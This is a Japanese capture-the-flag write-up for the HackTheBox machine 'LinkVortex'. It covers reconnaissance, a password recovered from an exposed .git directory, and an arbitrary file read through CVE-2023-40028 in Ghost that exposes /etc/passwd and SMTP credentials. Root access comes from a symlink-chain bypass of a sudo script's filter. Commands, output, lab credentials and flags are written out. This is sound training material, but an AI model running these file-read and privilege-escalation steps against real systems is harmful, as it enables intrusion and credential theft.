概要
HackTheBox「LinkVortex」のWriteupです。
User Flag
ポートスキャンを実行します。
$ nmap -Pn -sVC -T4 -A -p- 10.10.11.47 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open http Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.9p1 |
80 | http | Apache |
ドメインが分かったので/etc/hosts
に追加します。
10.10.11.47 linkvortex.htb
80
番ポートにアクセスします。
フッターからghost
というオープンソースのツールで作成されたことが分かりました。
ディレクトリスキャンをします。
$ dirsearch -u http://linkvortex.htb/ -x 404
[07:34:11] 301 - 179B - /assets -> /assets/
[07:34:34] 200 - 15KB - /favicon.ico
[07:34:47] 200 - 1KB - /LICENSE
[07:35:11] 200 - 103B - /robots.txt
[07:35:18] 200 - 256B - /sitemap.xml
/robots.txt
にアクセスすると更なるパスを発見できました。
User-agent: *
Sitemap: http://linkvortex.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/
/ghost
にアクセスするとログインフォームが表示されました。
admin@linkvortex.htb
で認証を試みたところ、エラーメッセージからこのアカウントの存在を確認できました。
サブドメインを列挙をします。
$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.linkvortex.htb" -u http://linkvortex.htb -fs 230
dev [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 258ms]
dev.linkvortex.htb
を発見したので/etc/hosts
に追記しアクセスします。
dev
サブドメインのディレクトリスキャンをします。
$ dirsearch -u http://dev.linkvortex.htb -x 404
[09:30:23] 301 - 239B - /.git -> http://dev.linkvortex.htb/.git/
[09:30:23] 200 - 557B - /.git/
[09:30:23] 200 - 201B - /.git/config
[09:30:23] 200 - 73B - /.git/description
[09:30:23] 200 - 620B - /.git/hooks/
[09:30:23] 200 - 41B - /.git/HEAD
[09:30:23] 200 - 402B - /.git/info/
(省略)
/.git/
が見つかったので配下をダウンロードします。
$ wget -r http://dev.linkvortex.htb/.git/
コミット履歴を複数確認できました。
$ git log --oneline
299cdb4 (HEAD, tag: v5.58.0) v5.58.0
dce2e68 Added Tips&Donations link to portal links (#17580)
3562560 Data generator: Ensure order of newsletters is correct
(省略)
git diff
コマンドでステージング環境との差分を確認するとパスワードを発見できました。
$ git diff --staged
(省略)
it('complete setup', async function () {
const email = 'test@example.com';
- const password = 'thisissupersafe';
+ const password = 'OctopiFociPilfer45';
得られたパスワードでログインに成功しました。
settings
からバージョンが5.58.0
だと分かりました。
該当バージョンで脆弱性情報を検索するとCVE-2023-40028
が見つかりました。
この脆弱性を悪用することで任意のファイルを読み込めるようです。
PoCは下記リポジトリを使用しました。
/etc/passwd
ファイルの読み込みに成功しました。
$ ./CVE-2023-40028.sh -u "admin@linkvortex.htb" -p "OctopiFociPilfer45"
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
ホスト名を確認するとDockerコンテナ内に居ると予想できます。
file> /etc/hostname
7facf5f862ae
設定ファイルを閲覧したいですが、現状ディレクトリ構成が分かりません。
コンテナ内のディレクトリ構成を把握するために実際にコンテナをローカルに構築してみます。
イメージはDockerHubから公式のものをダウンロードします。
公式のアナウンスに従ってコマンドを実行し、構築します。
$ sudo docker pull ghost
$ sudo docker run -d --name some-ghost -e NODE_ENV=development ghost
コンテナに入ると/var/lib/ghost
にいることが分かります。
$ sudo docker exec -it some-ghost /bin/bash
root@85551094b4c0:/var/lib/ghost#
ディレクトリを確認するとconfig.production.json
を発見しました。
実際のターゲットマシン上でも/var/lib/ghost/config.production.json
を参照すれば情報を得られそうです。
# ls -la
total 40
drwxr-xr-x 1 node node 4096 Dec 10 01:30 .
drwxr-xr-x 1 root root 4096 Dec 10 01:29 ..
-rw-r--r-- 1 node node 84 Dec 10 01:30 .ghost-cli
lrwxrwxrwx 1 node node 22 Dec 10 01:30 config.development.json -> config.production.json
-rw-r--r-- 1 node node 295 Dec 10 01:30 config.production.json
drwxrwxrwt 11 node node 4096 Dec 10 17:26 content
drwxr-xr-x 11 node node 4096 Dec 10 01:29 content.orig
lrwxrwxrwx 1 node node 31 Dec 10 01:30 current -> /var/lib/ghost/versions/5.104.1
drwxr-xr-x 1 node node 4096 Dec 10 01:29 versions
実際にconfig.production.json
をターゲットマシン上で確認すると、SMTPの認証情報を得られました。
file> /var/lib/ghost/config.production.json
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}
}
}
}
得られた認証情報でSSH接続に成功しました。
$ ssh bob@linkvortex.htb
bob@linkvortex:~$
/home/bob/user.txt
からユーザーフラグを入手できました。
$ cat user.txt
f45a09ebd41243969ef945b549ec7a5f
Root Flag
sudo -l
を確認すると、/opt/ghost/clean_symlink.sh
が実行できるようです。
$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
/opt/ghost/clean_symlink.sh
の処理を確認します。
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
CHECK_CONTENT
環境変数が設定されていない場合はfalseをセットします。
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
スクリプトの引数を受け取りファイルが.png
で終わるか確認しています。
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
引数のPNGファイルがリンクの場合にファイル名を取得し、リンク先にetc
,root
が入っているか確認します。
入っている場合はリンクを削除します。
入っていない場合は/var/quarantined
にファイルを移動し、CHECK_CONTENT
がtrueの場合にリンク先のファイルをcatコマンドで表示します。
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
最後のcatコマンドで/root/root.txt
を読み込めそうです。
まず、CHECK_CONTENT
がtrueの場合の条件分岐を満たします。
$ CHECK_CONTENT=true
$ export CHECK_CONTENT
$ printenv | grep CHECK_CONTENT
CHECK_CONTENT=true
次にシンボリックリンクを作成します。
今回はシンボリックリンクチェーン
を使用してetc
,root
の文字列チェックを回避します。
/root/root.txt
にリンクするa.png
を作成します。
そしてa.png
にリンクするb.png
を/var/quarantined
に作成します。
$ ln -s /root/root.txt a.png
$ ln -s /var/quarantined/a.png b.png
$ ls -la
total 8
drwxr-xr-x 2 bob bob 4096 Dec 10 19:17 .
drwxr-xr-x 14 root root 4096 Nov 29 15:58 ..
lrwxrwxrwx 1 bob bob 14 Dec 10 19:17 a.png -> /root/root.txt
lrwxrwxrwx 1 bob bob 22 Dec 10 19:17 b.png -> /var/quarantined/a.png
/opt/ghost/clean_symlink.sh
の引数にb.png
を指定して実行すると/root/root.txt
フラグを入手できました。
$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /var/quarantined/b.png
Link found [ /var/quarantined/b.png ] , moving it to quarantine
/usr/bin/mv: '/var/quarantined/b.png' and '/var/quarantined/b.png' are the same file
Content:
6a8d12b830755445dc3634720f45860c